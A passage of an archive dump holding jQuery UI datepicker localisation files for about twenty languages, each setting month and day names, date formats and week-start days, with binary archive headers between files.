	dayNamesMin: [ "Su", "Mo", "Tu", "We", "Th", "Fr", "Sa" ],
	weekHeader: "Wk",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional[ "en-AU" ] );

return datepicker.regional[ "en-AU" ];

} );
PKh�\_}�{��)plugins/jqueryui/js/i18n/datepicker-pl.jsnu�[���/* Polish initialisation for the jQuery UI date picker plugin. */
/* Written by Jacek Wysocki (jacek.wysocki@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.pl = {
	closeText: "Zamknij",
	prevText: "Poprzedni",
	nextText: "Następny",
	currentText: "Dziś",
	monthNames: [ "Styczeń", "Luty", "Marzec", "Kwiecień", "Maj", "Czerwiec",
	"Lipiec", "Sierpień", "Wrzesień", "Październik", "Listopad", "Grudzień" ],
	monthNamesShort: [ "Sty", "Lu", "Mar", "Kw", "Maj", "Cze",
	"Lip", "Sie", "Wrz", "Pa", "Lis", "Gru" ],
	dayNames: [ "Niedziela", "Poniedziałek", "Wtorek", "Środa", "Czwartek", "Piątek", "Sobota" ],
	dayNamesShort: [ "Nie", "Pn", "Wt", "Śr", "Czw", "Pt", "So" ],
	dayNamesMin: [ "N", "Pn", "Wt", "Śr", "Cz", "Pt", "So" ],
	weekHeader: "Tydz",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.pl );

return datepicker.regional.pl;

} );
PKh�\Pو��)plugins/jqueryui/js/i18n/datepicker-sv.jsnu�[���/* Swedish initialisation for the jQuery UI date picker plugin. */
/* Written by Anders Ekdahl ( anders@nomadiz.se). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.sv = {
	closeText: "Stäng",
	prevText: "Förra",
	nextText: "Nästa",
	currentText: "Idag",
	monthNames: [ "januari", "februari", "mars", "april", "maj", "juni",
	"juli", "augusti", "september", "oktober", "november", "december" ],
	monthNamesShort: [ "jan.", "feb.", "mars", "apr.", "maj", "juni",
	"juli", "aug.", "sep.", "okt.", "nov.", "dec." ],
	dayNamesShort: [ "sön", "mån", "tis", "ons", "tor", "fre", "lör" ],
	dayNames: [ "söndag", "måndag", "tisdag", "onsdag", "torsdag", "fredag", "lördag" ],
	dayNamesMin: [ "sö", "må", "ti", "on", "to", "fr", "lö" ],
	weekHeader: "Ve",
	dateFormat: "yy-mm-dd",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.sv );

return datepicker.regional.sv;

} );
PKh�\x^�3��)plugins/jqueryui/js/i18n/datepicker-bs.jsnu�[���/* Bosnian i18n for the jQuery UI date picker plugin. */
/* Written by Kenan Konjo. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.bs = {
	closeText: "Zatvori",
	prevText: "Prethodno",
	nextText: "Sljedeći",
	currentText: "Danas",
	monthNames: [ "Januar", "Februar", "Mart", "April", "Maj", "Juni",
	"Juli", "August", "Septembar", "Oktobar", "Novembar", "Decembar" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "Maj", "Jun",
	"Jul", "Aug", "Sep", "Okt", "Nov", "Dec" ],
	dayNames: [ "Nedelja", "Ponedeljak", "Utorak", "Srijeda", "Četvrtak", "Petak", "Subota" ],
	dayNamesShort: [ "Ned", "Pon", "Uto", "Sri", "Čet", "Pet", "Sub" ],
	dayNamesMin: [ "Ne", "Po", "Ut", "Sr", "Če", "Pe", "Su" ],
	weekHeader: "Wk",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.bs );

return datepicker.regional.bs;

} );
PKh�\EEb��)plugins/jqueryui/js/i18n/datepicker-sl.jsnu�[���/* Slovenian initialisation for the jQuery UI date picker plugin. */
/* Written by Jaka Jancar (jaka@kubje.org). */
/* c = č, s = š z = ž C = Č S = Š Z = Ž */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.sl = {
	closeText: "Zapri",
	prevText: "Prejšnji",
	nextText: "Naslednji",
	currentText: "Trenutni",
	monthNames: [ "Januar", "Februar", "Marec", "April", "Maj", "Junij",
	"Julij", "Avgust", "September", "Oktober", "November", "December" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "Maj", "Jun",
	"Jul", "Avg", "Sep", "Okt", "Nov", "Dec" ],
	dayNames: [ "Nedelja", "Ponedeljek", "Torek", "Sreda", "Četrtek", "Petek", "Sobota" ],
	dayNamesShort: [ "Ned", "Pon", "Tor", "Sre", "Čet", "Pet", "Sob" ],
	dayNamesMin: [ "Ne", "Po", "To", "Sr", "Če", "Pe", "So" ],
	weekHeader: "Teden",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.sl );

return datepicker.regional.sl;

} );
PKh�\��Y��)plugins/jqueryui/js/i18n/datepicker-hu.jsnu�[���/* Hungarian initialisation for the jQuery UI date picker plugin. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.hu = {
	closeText: "Bezár",
	prevText: "Vissza",
	nextText: "Előre",
	currentText: "Ma",
	monthNames: [ "Január", "Február", "Március", "Április", "Május", "Június",
	"Július", "Augusztus", "Szeptember", "Október", "November", "December" ],
	monthNamesShort: [ "Jan", "Feb", "Már", "Ápr", "Máj", "Jún",
	"Júl", "Aug", "Szep", "Okt", "Nov", "Dec" ],
	dayNames: [ "Vasárnap", "Hétfő", "Kedd", "Szerda", "Csütörtök", "Péntek", "Szombat" ],
	dayNamesShort: [ "Vas", "Hét", "Ked", "Sze", "Csü", "Pén", "Szo" ],
	dayNamesMin: [ "V", "H", "K", "Sze", "Cs", "P", "Szo" ],
	weekHeader: "Hét",
	dateFormat: "yy.mm.dd.",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: true,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.hu );

return datepicker.regional.hu;

} );
PKh�\�i���)plugins/jqueryui/js/i18n/datepicker-fo.jsnu�[���/* Faroese initialisation for the jQuery UI date picker plugin */
/* Written by Sverri Mohr Olsen, sverrimo@gmail.com */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.fo = {
	closeText: "Lat aftur",
	prevText: "Fyrra",
	nextText: "Næsta",
	currentText: "Í dag",
	monthNames: [ "Januar", "Februar", "Mars", "Apríl", "Mei", "Juni",
	"Juli", "August", "September", "Oktober", "November", "Desember" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "Mei", "Jun",
	"Jul", "Aug", "Sep", "Okt", "Nov", "Des" ],
	dayNames: [
		"Sunnudagur",
		"Mánadagur",
		"Týsdagur",
		"Mikudagur",
		"Hósdagur",
		"Fríggjadagur",
		"Leyardagur"
	],
	dayNamesShort: [ "Sun", "Mán", "Týs", "Mik", "Hós", "Frí", "Ley" ],
	dayNamesMin: [ "Su", "Má", "Tý", "Mi", "Hó", "Fr", "Le" ],
	weekHeader: "Vk",
	dateFormat: "dd-mm-yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.fo );

return datepicker.regional.fo;

} );
PKh�\�30I��)plugins/jqueryui/js/i18n/datepicker-eo.jsnu�[���/* Esperanto initialisation for the jQuery UI date picker plugin. */
/* Written by Olivier M. (olivierweb@ifrance.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.eo = {
	closeText: "Fermi",
	prevText: "Anta",
	nextText: "Sekv",
	currentText: "Nuna",
	monthNames: [ "Januaro", "Februaro", "Marto", "Aprilo", "Majo", "Junio",
	"Julio", "Aŭgusto", "Septembro", "Oktobro", "Novembro", "Decembro" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "Maj", "Jun",
	"Jul", "Aŭg", "Sep", "Okt", "Nov", "Dec" ],
	dayNames: [ "Dimanĉo", "Lundo", "Mardo", "Merkredo", "Ĵaŭdo", "Vendredo", "Sabato" ],
	dayNamesShort: [ "Dim", "Lun", "Mar", "Mer", "Ĵaŭ", "Ven", "Sab" ],
	dayNamesMin: [ "Di", "Lu", "Ma", "Me", "Ĵa", "Ve", "Sa" ],
	weekHeader: "Sb",
	dateFormat: "dd/mm/yy",
	firstDay: 0,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.eo );

return datepicker.regional.eo;

} );
PKh�\�M�5��)plugins/jqueryui/js/i18n/datepicker-bg.jsnu�[���/* Bulgarian initialisation for the jQuery UI date picker plugin. */
/* Written by Stoyan Kyosev (http://svest.org). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.bg = {
	closeText: "затвори",
	prevText: "назад",
	nextText: "напред",
	nextBigText: "&#x3E;&#x3E;",
	currentText: "днес",
	monthNames: [ "Януари", "Февруари", "Март", "Април", "Май", "Юни",
	"Юли", "Август", "Септември", "Октомври", "Ноември", "Декември" ],
	monthNamesShort: [ "Яну", "Фев", "Мар", "Апр", "Май", "Юни",
	"Юли", "Авг", "Сеп", "Окт", "Нов", "Дек" ],
	dayNames: [ "Неделя", "Понеделник", "Вторник", "Сряда", "Четвъртък", "Петък", "Събота" ],
	dayNamesShort: [ "Нед", "Пон", "Вто", "Сря", "Чет", "Пет", "Съб" ],
	dayNamesMin: [ "Не", "По", "Вт", "Ср", "Че", "Пе", "Съ" ],
	weekHeader: "Wk",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.bg );

return datepicker.regional.bg;

} );
PKh�\�?=��)plugins/jqueryui/js/i18n/datepicker-ru.jsnu�[���/* Russian (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* Written by Andrew Stromnov (stromnov@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.ru = {
	closeText: "Закрыть",
	prevText: "Пред",
	nextText: "След",
	currentText: "Сегодня",
	monthNames: [ "Январь", "Февраль", "Март", "Апрель", "Май", "Июнь",
	"Июль", "Август", "Сентябрь", "Октябрь", "Ноябрь", "Декабрь" ],
	monthNamesShort: [ "Янв", "Фев", "Мар", "Апр", "Май", "Июн",
	"Июл", "Авг", "Сен", "Окт", "Ноя", "Дек" ],
	dayNames: [ "воскресенье", "понедельник", "вторник", "среда", "четверг", "пятница", "суббота" ],
	dayNamesShort: [ "вск", "пнд", "втр", "срд", "чтв", "птн", "сбт" ],
	dayNamesMin: [ "Вс", "Пн", "Вт", "Ср", "Чт", "Пт", "Сб" ],
	weekHeader: "Нед",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.ru );

return datepicker.regional.ru;

} );
PKh�\����,plugins/jqueryui/js/i18n/datepicker-fr-CH.jsnu�[���/* Swiss-French initialisation for the jQuery UI date picker plugin. */
/* Written Martin Voelkle (martin.voelkle@e-tc.ch). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "fr-CH" ] = {
	closeText: "Fermer",
	prevText: "Préc",
	nextText: "Suiv",
	currentText: "Courant",
	monthNames: [ "janvier", "février", "mars", "avril", "mai", "juin",
		"juillet", "août", "septembre", "octobre", "novembre", "décembre" ],
	monthNamesShort: [ "janv.", "févr.", "mars", "avril", "mai", "juin",
		"juil.", "août", "sept.", "oct.", "nov.", "déc." ],
	dayNames: [ "dimanche", "lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi" ],
	dayNamesShort: [ "dim.", "lun.", "mar.", "mer.", "jeu.", "ven.", "sam." ],
	dayNamesMin: [ "D", "L", "M", "M", "J", "V", "S" ],
	weekHeader: "Sm",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional[ "fr-CH" ] );

return datepicker.regional[ "fr-CH" ];

} );
PKh�\?ZT�**,plugins/jqueryui/js/i18n/datepicker-zh-TW.jsnu�[���/* Chinese initialisation for the jQuery UI date picker plugin. */
/* Written by Ressol (ressol@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "zh-TW" ] = {
	closeText: "關閉",
	prevText: "上個月",
	nextText: "下個月",
	currentText: "今天",
	monthNames: [ "一月", "二月", "三月", "四月", "五月", "六月",
	"七月", "八月", "九月", "十月", "十一月", "十二月" ],
	monthNamesShort: [ "一月", "二月", "三月", "四月", "五月", "六月",
	"七月", "八月", "九月", "十月", "十一月", "十二月" ],
	dayNames: [ "星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六" ],
	dayNamesShort: [ "週日", "週一", "週二", "週三", "週四", "週五", "週六" ],
	dayNamesMin: [ "日", "一", "二", "三", "四", "五", "六" ],
	weekHeader: "週",
	dateFormat: "yy/mm/dd",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: true,
	yearSuffix: "年" };
datepicker.setDefaults( datepicker.regional[ "zh-TW" ] );

return datepicker.regional[ "zh-TW" ];

} );
PKh�\��Z���)plugins/jqueryui/js/i18n/datepicker-el.jsnu�[���/* Greek (el) initialisation for the jQuery UI date picker plugin. */
/* Written by Alex Cicovic (http://www.alexcicovic.com) */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.el = {
	closeText: "Κλείσιμο",
	prevText: "Προηγούμενος",
	nextText: "Επόμενος",
	currentText: "Σήμερα",
	monthNames: [ "Ιανουάριος", "Φεβρουάριος", "Μάρτιος", "Απρίλιος", "Μάιος", "Ιούνιος",
	"Ιούλιος", "Αύγουστος", "Σεπτέμβριος", "Οκτώβριος", "Νοέμβριος", "Δεκέμβριος" ],
	monthNamesShort: [ "Ιαν", "Φεβ", "Μαρ", "Απρ", "Μαι", "Ιουν",
	"Ιουλ", "Αυγ", "Σεπ", "Οκτ", "Νοε", "Δεκ" ],
	dayNames: [ "Κυριακή", "Δευτέρα", "Τρίτη", "Τετάρτη", "Πέμπτη", "Παρασκευή", "Σάββατο" ],
	dayNamesShort: [ "Κυρ", "Δευ", "Τρι", "Τετ", "Πεμ", "Παρ", "Σαβ" ],
	dayNamesMin: [ "Κυ", "Δε", "Τρ", "Τε", "Πε", "Πα", "Σα" ],
	weekHeader: "Εβδ",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.el );

return datepicker.regional.el;

} );
PKh�\ƲZ��)plugins/jqueryui/js/i18n/datepicker-be.jsnu�[���/* Belarusian initialisation for the jQuery UI date picker plugin. */
/* Written by Pavel Selitskas <p.selitskas@gmail.com> */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.be = {
	closeText: "Зачыніць",
	prevText: "Папяр.",
	nextText: "Наст.",
	currentText: "Сёньня",
	monthNames: [ "Студзень", "Люты", "Сакавік", "Красавік", "Травень", "Чэрвень",
	"Ліпень", "Жнівень", "Верасень", "Кастрычнік", "Лістапад", "Сьнежань" ],
	monthNamesShort: [ "Сту", "Лют", "Сак", "Кра", "Тра", "Чэр",
	"Ліп", "Жні", "Вер", "Кас", "Ліс", "Сьн" ],
	dayNames: [ "нядзеля", "панядзелак", "аўторак", "серада", "чацьвер", "пятніца", "субота" ],
	dayNamesShort: [ "ндз", "пнд", "аўт", "срд", "чцв", "птн", "сбт" ],
	dayNamesMin: [ "Нд", "Пн", "Аў", "Ср", "Чц", "Пт", "Сб" ],
	weekHeader: "Тд",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.be );

return datepicker.regional.be;

} );
PKh�\?��)plugins/jqueryui/js/i18n/datepicker-hr.jsnu�[���/* Croatian i18n for the jQuery UI date picker plugin. */
/* Written by Vjekoslav Nesek. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.hr = {
	closeText: "Zatvori",
	prevText: "Prethodno",
	nextText: "Sljedeći",
	currentText: "Danas",
	monthNames: [ "Siječanj", "Veljača", "Ožujak", "Travanj", "Svibanj", "Lipanj",
	"Srpanj", "Kolovoz", "Rujan", "Listopad", "Studeni", "Prosinac" ],
	monthNamesShort: [ "Sij", "Velj", "Ožu", "Tra", "Svi", "Lip",
	"Srp", "Kol", "Ruj", "Lis", "Stu", "Pro" ],
	dayNames: [ "Nedjelja", "Ponedjeljak", "Utorak", "Srijeda", "Četvrtak", "Petak", "Subota" ],
	dayNamesShort: [ "Ned", "Pon", "Uto", "Sri", "Čet", "Pet", "Sub" ],
	dayNamesMin: [ "Ne", "Po", "Ut", "Sr", "Če", "Pe", "Su" ],
	weekHeader: "Tje",
	dateFormat: "dd.mm.yy.",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.hr );

return datepicker.regional.hr;

} );
PKh�\冢��,plugins/jqueryui/js/i18n/datepicker-en-GB.jsnu�[���/* English/UK initialisation for the jQuery UI date picker plugin. */
/* Written by Stuart. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "en-GB" ] = {
	closeText: "Done",
	prevText: "Prev",
	nextText: "Next",
	currentText: "Today",
	monthNames: [ "January", "February", "March", "April", "May", "June",
	"July", "August", "September", "October", "November", "December" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun",
	"Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ],
	dayNames: [ "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ],
	dayNamesShort: [ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ],
	dayNamesMin: [ "Su", "Mo", "Tu", "We", "Th", "Fr", "Sa" ],
	weekHeader: "Wk",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional[ "en-GB" ] );

return datepicker.regional[ "en-GB" ];

} );
PKh�\�Z�,

)plugins/jqueryui/js/i18n/datepicker-lv.jsnu�[���/* Latvian (UTF-8) initialisation for the jQuery UI date picker plugin. */
/* @author Arturas Paleicikas <arturas.paleicikas@metasite.net> */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.lv = {
	closeText: "Aizvērt",
	prevText: "Iepr.",
	nextText: "Nāk.",
	currentText: "Šodien",
	monthNames: [ "Janvāris", "Februāris", "Marts", "Aprīlis", "Maijs", "Jūnijs",
	"Jūlijs", "Augusts", "Septembris", "Oktobris", "Novembris", "Decembris" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "Mai", "Jūn",
	"Jūl", "Aug", "Sep", "Okt", "Nov", "Dec" ],
	dayNames: [
		"svētdiena",
		"pirmdiena",
		"otrdiena",
		"trešdiena",
		"ceturtdiena",
		"piektdiena",
		"sestdiena"
	],
	dayNamesShort: [ "svt", "prm", "otr", "tre", "ctr", "pkt", "sst" ],
	dayNamesMin: [ "Sv", "Pr", "Ot", "Tr", "Ct", "Pk", "Ss" ],
	weekHeader: "Ned.",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.lv );

return datepicker.regional.lv;

} );
PKh�\������)plugins/jqueryui/js/i18n/datepicker-id.jsnu�[���/* Indonesian initialisation for the jQuery UI date picker plugin. */
/* Written by Deden Fathurahman (dedenf@gmail.com). */
/* Fixed by Denny Septian Panggabean (xamidimura@gmail.com) */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.id = {
	closeText: "Tutup",
	prevText: "Mundur",
	nextText: "Maju",
	currentText: "Hari ini",
	monthNames: [ "Januari", "Februari", "Maret", "April", "Mei", "Juni",
	"Juli", "Agustus", "September", "Oktober", "Nopember", "Desember" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "Mei", "Jun",
	"Jul", "Agus", "Sep", "Okt", "Nop", "Des" ],
	dayNames: [ "Minggu", "Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu" ],
	dayNamesShort: [ "Min", "Sen", "Sel", "Rab", "Kam", "Jum", "Sab" ],
	dayNamesMin: [ "Mg", "Sn", "Sl", "Rb", "Km", "Jm", "Sb" ],
	weekHeader: "Mg",
	dateFormat: "dd/mm/yy",
	firstDay: 0,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.id );

return datepicker.regional.id;

} );
PKh�\#W��)plugins/jqueryui/js/i18n/datepicker-ro.jsnu�[���/* Romanian initialisation for the jQuery UI date picker plugin.
 *
 * Written by Edmond L. (ll_edmond@walla.com)
 * and Ionut G. Stan (ionut.g.stan@gmail.com)
 */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.ro = {
	closeText: "Închide",
	prevText: "Luna precedentă",
	nextText: "Luna următoare ",
	currentText: "Azi",
	monthNames: [ "Ianuarie", "Februarie", "Martie", "Aprilie", "Mai", "Iunie",
	"Iulie", "August", "Septembrie", "Octombrie", "Noiembrie", "Decembrie" ],
	monthNamesShort: [ "Ian", "Feb", "Mar", "Apr", "Mai", "Iun",
	"Iul", "Aug", "Sep", "Oct", "Nov", "Dec" ],
	dayNames: [ "Duminică", "Luni", "Marţi", "Miercuri", "Joi", "Vineri", "Sâmbătă" ],
	dayNamesShort: [ "Dum", "Lun", "Mar", "Mie", "Joi", "Vin", "Sâm" ],
	dayNamesMin: [ "Du", "Lu", "Ma", "Mi", "Jo", "Vi", "Sâ" ],
	weekHeader: "Săpt",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.ro );

return datepicker.regional.ro;

} );
PKh�\���7��,plugins/jqueryui/js/i18n/datepicker-fr-CA.jsnu�[���/* Canadian-French initialisation for the jQuery UI date picker plugin. */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "fr-CA" ] = {
	closeText: "Fermer",
	prevText: "Précédent",
	nextText: "Suivant",
	currentText: "Aujourd'hui",
	monthNames: [ "janvier", "février", "mars", "avril", "mai", "juin",
		"juillet", "août", "septembre", "octobre", "novembre", "décembre" ],
	monthNamesShort: [ "janv.", "févr.", "mars", "avril", "mai", "juin",
		"juil.", "août", "sept.", "oct.", "nov.", "déc." ],
	dayNames: [ "dimanche", "lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi" ],
	dayNamesShort: [ "dim.", "lun.", "mar.", "mer.", "jeu.", "ven.", "sam." ],
	dayNamesMin: [ "D", "L", "M", "M", "J", "V", "S" ],
	weekHeader: "Sem.",
	dateFormat: "yy-mm-dd",
	firstDay: 0,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: ""
};
datepicker.setDefaults( datepicker.regional[ "fr-CA" ] );

return datepicker.regional[ "fr-CA" ];

} );
PKh�\,zC���,plugins/jqueryui/js/i18n/datepicker-it-CH.jsnu�[���/* Italian initialisation for the jQuery UI date picker plugin. */
/* Written by Antonello Pasella (antonello.pasella@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "it-CH" ] = {
	closeText: "Chiudi",
	prevText: "Prec",
	nextText: "Succ",
	currentText: "Oggi",
	monthNames: [ "Gennaio", "Febbraio", "Marzo", "Aprile", "Maggio", "Giugno",
		"Luglio", "Agosto", "Settembre", "Ottobre", "Novembre", "Dicembre" ],
	monthNamesShort: [ "Gen", "Feb", "Mar", "Apr", "Mag", "Giu",
		"Lug", "Ago", "Set", "Ott", "Nov", "Dic" ],
	dayNames: [ "Domenica", "Lunedì", "Martedì", "Mercoledì", "Giovedì", "Venerdì", "Sabato" ],
	dayNamesShort: [ "Dom", "Lun", "Mar", "Mer", "Gio", "Ven", "Sab" ],
	dayNamesMin: [ "Do", "Lu", "Ma", "Me", "Gi", "Ve", "Sa" ],
	weekHeader: "Sm",
	dateFormat: "dd.mm.yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional[ "it-CH" ] );

return datepicker.regional[ "it-CH" ];

} );
PKh�\y;�K��)plugins/jqueryui/js/i18n/datepicker-nb.jsnu�[���/* Norwegian Bokmål initialisation for the jQuery UI date picker plugin. */
/* Written by Bjørn Johansen (post@bjornjohansen.no). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.nb = {
	closeText: "Lukk",
	prevText: "Forrige",
	nextText: "Neste",
	currentText: "I dag",
	monthNames: [
		"januar",
		"februar",
		"mars",
		"april",
		"mai",
		"juni",
		"juli",
		"august",
		"september",
		"oktober",
		"november",
		"desember"
	],
	monthNamesShort: [ "jan", "feb", "mar", "apr", "mai", "jun", "jul", "aug", "sep", "okt", "nov", "des" ],
	dayNamesShort: [ "søn", "man", "tir", "ons", "tor", "fre", "lør" ],
	dayNames: [ "søndag", "mandag", "tirsdag", "onsdag", "torsdag", "fredag", "lørdag" ],
	dayNamesMin: [ "sø", "ma", "ti", "on", "to", "fr", "lø" ],
	weekHeader: "Uke",
